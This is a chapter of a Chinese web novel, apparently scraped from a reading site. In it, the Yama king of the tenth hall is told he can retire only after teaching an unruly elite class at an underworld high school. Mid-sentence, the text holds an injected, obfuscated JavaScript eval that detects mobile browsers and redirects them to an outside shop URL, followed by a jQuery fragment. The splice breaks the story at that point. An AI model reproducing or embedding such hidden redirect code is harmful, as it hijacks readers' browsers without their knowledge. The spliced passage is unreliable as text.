_天官赐福_
水 _ _ _ _地
官 _ _ _ _官
解 _ _ _ _赦
厄 _ _ _ _罪
逢 _ _ _ _出
凶 _ _ _ _生
化 _ _ _ _入
吉 _ _ _ _死
那是一座坟堆。
不知是谁的,或许是无名氏。
布满潮湿滑腻的苔藓,在雾霾的衬托下,斑驳、沧桑、悲凉。
一对腥红瓦当纸洒金对联,格格不入的贴在破败的坟头上,迎着浑浊的夜风,嘶啦——嘶啦——
“出生入死”四个行书大字,张牙舞爪的随风狂舞。
下一秒,白皙的手掌伸过来,骨节柔软,指背轻轻一蹭,对联严丝合缝的粘回坟头。
坟堆前,一个身着黑色对襟长衫的年轻人,安静的站着。分明没有下雨,分明没有日光,奇怪的是——
年轻人持着一把黑色的晴雨伞,遮蔽了他过于白皙,甚至惨白的面颊、鲜红的唇瓣、静如死水的眼眸。
叩叩——
年轻人屈指敲了敲坟头,好像在敲自家的家门。
“编号D10086.44地府中央总厅工作系统,为您服务~”
“请验证您的身份信息!”
甜美的机械女声不知从哪里冒出来,空洞的回荡在空旷的坟场上空,一圈、两圈、三圈……
哇——哇——哇——
惊起无数乌鸦,振翅高飞,盘旋于雾霾的黑夜,组成一团黑色的漩涡,久久不散……
年轻人再次伸出柔软的手掌,整个掌心覆盖在坟头的墓碑上。
“正在进行身份识别,请稍后……”
“身份信息已确认。”
布满苔藓的坟头镀上高科技流光感湛蓝色光芒,唰——
无字石碑漂浮出一排排蓝光字体:
姓名:薛长仪
性别:男
年龄:30,000,000…
职位:第十殿阎王(中央地府总厅,部长级)
权限级别:终极
“欢迎上班,阎王大人。”
轰隆——石碑轰然裂开,一座铁锁大门取而代之。
匾额正面上书——入死
匾额背面上书——出生
薛长仪举着黑色的晴雨伞,抬腿,迈过高高的铁门槛儿。
唰——
幽暗的光芒再现,将年轻人,与反常的一切全部吞噬。
夜风吹过,光芒散尽,一切如初,只剩下猩红的对联,仍旧在雾霾的夜空中癫狂飞舞……
“啊啊啊啊!!”
“我不想死!放我回去——”
“你们一定搞错了!我那么健康,怎么会死呢!我还得回去加班,我的PPT还没做完!!”
出生入死铁网门之后,惨叫、哭号、求饶,都是最常见的声音。薛长仪见怪不怪,仍旧持着漆黑的晴雨伞,微微抿着血红的唇角,步履平稳的穿梭在繁复的人群中。
牛头马面,黄蜂鸟嘴,身着地府统一的工作制服,黑衣黑裤黑色长靴,黑色防弹背心,腰配枪械。地府中央总厅特意为鬼差们定制了一批工作服,用阳间的话来说,就是——制服诱惑。
鬼差一手托着高科技工作平板,一手拽着幽蓝铁索,押解着哭叫的小鬼,自动排开一条道路,请薛长仪通过。
“阎王大人!”
薛长仪微微点头,毫不停留,通过铁网门,踏上通往地府中央总厅的苦竹浮生奈何桥。
“阎王大人还是如此得少言寡语。”
“人狠话不多,干活还利索,跟着这样的上司,你就请好儿吧!”
“不过我听说……阎王大人好像要退休了?”
奈何桥横跨在浮生六道之上,水流湍急,漩涡险恶,整条绳索桥好似用藤条编织,稍微一动摇摇欲坠。
白色剔透,不染一丝尘埃的死亡之花水晶兰,滋生在奈何桥的两畔,狂野生长,雪片子一样,成为了地府中央总厅唯一的“色彩”。
“盒——盒——盒——”孟婆佝偻着苍老的躯干,嗓子里发出老树皮一般的笑声。
咚!咚!咚!沙漏型的枯木拐杖重重的敲击在桥板上,那是夺命的倒计时。
“阎王大人,”孟婆笑弯了一双浑浊的眼目,频频点头:“恭喜退休,您老人家……终究是等到这一天了。”
薛长仪面无表情的惨白脸面,终于展露出一丝微弱的笑意。
他好像不喜欢说话,对孟婆点头示意。
“盒——盒——盒——”孟婆又笑起来,苍老的眼睛突然睁大,褶皱的眼皮撑得浑圆:“可惜……有客人来了。”
“老大!老大!不好了——”黑色制服的鬼差从远处疾步跑来。
和之前的牛头马面不一样,他托着一条长长的尾巴,好像猫尾巴,生着棕黑色的斑点,下意识的摇摆着。
豹尾慌张冲到面前,左右看了一眼,谨慎的低声说:“老大,大事不好!督察司来人了……”
薛长仪止水一般的眼眸微动:“督查司?”
豹尾使劲点头:“一早就来了,在老大的办公室里等着呢,是那个……姓乌的。”
薛长仪的脸上看不出表情,持着晴雨伞,越过奈何桥,黑暗拉着他长长的身影,进入了地府中央总厅的大厦。
“盒——盒——盒——”孟婆望着薛长仪高挑的背影,幽幽的感叹:“这鬼也讨厌的天气,污染越来越高了……”
嘀——
“身份验证成功!”
电梯响起甜美的机械化女声:“电梯,下行。通往——十八层地狱,第十殿。”
叮咚咚咚~
“B18层,第十殿,到了。开门请当心,注意脚下~”
薛长仪踏出电梯,手掌搭在一面空墙之上,唰——
墙面裂开,隐藏着一道自动铁门,秘书室鱼鳃站起身来,四十五度鞠躬行礼,一板一眼:“阎王大人,督察司乌部长在里面。”
豹尾攥拳,手臂纠结的肌肉隆起,狠狠的说:“老大,我跟你进去!督查司如果敢找茬儿,我就——哎呦!”
豹尾的狠话变成了一串委屈的大叫:“小鱼!你怎么打我?”
鱼鳃翻了一记冷酷的死鱼眼:“督查司负责监察冥府十殿,专查阎王作奸犯科,贪污受贿之举,向来与咱们十殿不和。”
“尤其是这督察司使,难道你忘了,是他亲手查了二殿主……”鱼鳃下意识瞥了一眼薛长义。
十殿阎王们虽没有血缘关系,但千年如一日,在这大地狱中审判教化,早已亲如手足。
十年之前,二殿阎王被查,便是被督察司使亲手打下欲忘台……
鱼鳃艰涩的说:“如果不配合监察,你是想给督查司一个顺理成章发难的借口吗?阎王大人就差这一天退休,你不要瞎捣乱。”
豹尾揉了揉脑后勺:“那……怎么办?”
薛长仪终于开口了:“无妨。”
唰!
薛长仪手腕一抖,黑色的晴雨伞收拢、缩小,化成一根黑色的钢笔,薛长仪伸出惨白的左手,钢笔又化作绕指柔,“啪!!”锁在他的腕间,变成了一只黑色的古朴手镯。
踏入办公室,大门自动关闭,将豹尾与鱼鳃隔绝在外面。
黑色的地板,黑色的地毯,黑色的沙发,黑色的办公桌。
幽蓝色的灯光,映照着办公桌上——第十殿阎王·薛长仪的名牌。
一个黑色西装的男人,坐在办公桌后的办公椅上,背对着薛长仪。
吱呀——
办公椅轻轻转动,蓝火跳跃,影影绰绰,终于揭露了对方的庐山真面目。
与鬼差差不多的制服配置,防弹背心换成了更加考究的西服马甲。黑色的马甲,白色的衬衫,黑白分明泾渭清晰,仿佛阎王十殿与督查司的关系。
男人的长发松散的系在脑后,像童话故事里走出来的王子,优雅、英俊,却冷酷。
薛长仪:“督察司使,好久不见。不,恭喜立功,现在该称呼乌部长一句司长大人了。”
督察司隶属于地府中央总
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257683|151615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
厅,与十殿阎王平齐,负责监察十殿,司长乃是统领司使的长官,同样是部长级别。
“好久不见。”男人开口了。
啪。
也不废话,将一只牛皮纸袋放在办公桌上,有力的手掌轻轻往前一送。
乌部长说:“这是中央总厅派发下来的红头文件,完成了这件事,你就可以退休了。”
薛长仪微微皱眉:“什么事情,需要我亲自出马?杀人?”
乌部长摇头。
薛长仪挑眉:“嗜鬼?”
乌部长还是摇头。
薛长仪恢复了平静:“伐神?”
乌部长这次没有摇头,直接拆开牛皮纸袋,轻轻敲了敲纸张:“都不是。中央总厅投资建设了一所学校。”
“学校……?”薛长仪难得有些惊讶,平静的眼眸微微睁开。
他虽是第十殿阎王,年岁不可考,但姿容犹如年轻人,甚至透露出一股介于少年与青年之间的青涩感,这样生动的表情,比老气沉沉的冷静,更加适合他清秀漂亮的脸蛋。
这所学校建立在欲忘台以南,奈何桥以东,孽镜台以西,铁网门以北。
地府第一附属中学。
简称:地府一中。
又名:稷下学宫。
地府一中已经成立了一个学期,和普通的人间中学一样,九月开学,春节放假。
学校一共分为九个班级,一到七班为普通班,八班九班为实验班。
经过地府中央总厅选拔的学生,可以进入地府一中学习,入学考试80分以下的学生,被分到1-7班学习,而80分以上的尖子生,则被分入重点培养的实验班学习。
九月开学以来,传说中的尖子班,第九班,已经气走了7位数学老师,吓哭了8位语文老师,外加赶走了11位班主任。
乌部长惜字如金:“总厅派你去支教,代班。”
薛长仪:“……”
薛长仪会焚火烫肝、会扒皮抽筋、会勾魂拔舌,他杀过人,砍过头,断过狱,唯独……没带过孩子,没当过老师!
让一个司掌十八层地狱的阎王教书,这像话吗?
乌部长站起身,顺手扣上西装外套的扣子:“支教之后,你就可以退休了。”
薛长仪刚要开口,对上乌部长一双深沉,幽暗不见底的眼眸。
乌部长在他的肩膀上轻轻拍了两下,张了张口,却没有出声,只是做了一个口型。
——小心。
*
上午9:30,巳时二刻。
正是上午第二节课的时间。
“稷下学宫”坐落于欲忘台以南,奈何桥以东,孽镜台以西,铁网门以北。学宫之雍容,三进三出,由36座建筑群落组成,占地6万平方米,约等于一个恭王府的大小。
黑色桃木匾额,经受初春第一缕惊雷洗礼、锻造而成,上书——地府第一附属中学。
学宫以辟雍堂为中轴线,东为教学校舍,西为操场、游泳馆等设施,由北进南分别为学子宿舍与教师宿舍。
穿过宏伟的校门,挂着“泮宫”二字的高阁楼宇,便是校舍讲堂。
教学楼四层,最尽头的教室——实验9班。
嗖——
纸飞机从窗口窜出来,粉笔头满天飞,黑板上画着鬼脸,课桌横七竖八。
震耳欲聋的吵闹声,此起彼伏。
“刘邦怎么还在这里!我项羽绝不和伪君子同窗!”
“听说了吗?学宫又要派来一个新的班——那称谓唤作什么来着?。”
“班主任!”
“狗屁班主任,想教你爷爷杨广习学,除非是阎罗王来了。”
“咦?快看,没见过的生面孔,是插班生吗?”
薛长仪推开教室门,站在第九班门口,第九班所有人的目光,迅速聚拢而来。
“长得好可爱!”
“比我们村儿的妲己还漂亮!”
“皮肤好细腻啊!不会是用了素颜霜吧?我猜一定是人间的化妆品,芦丹氏00色号!”
薛长仪:“呵……”传说中的尖子班。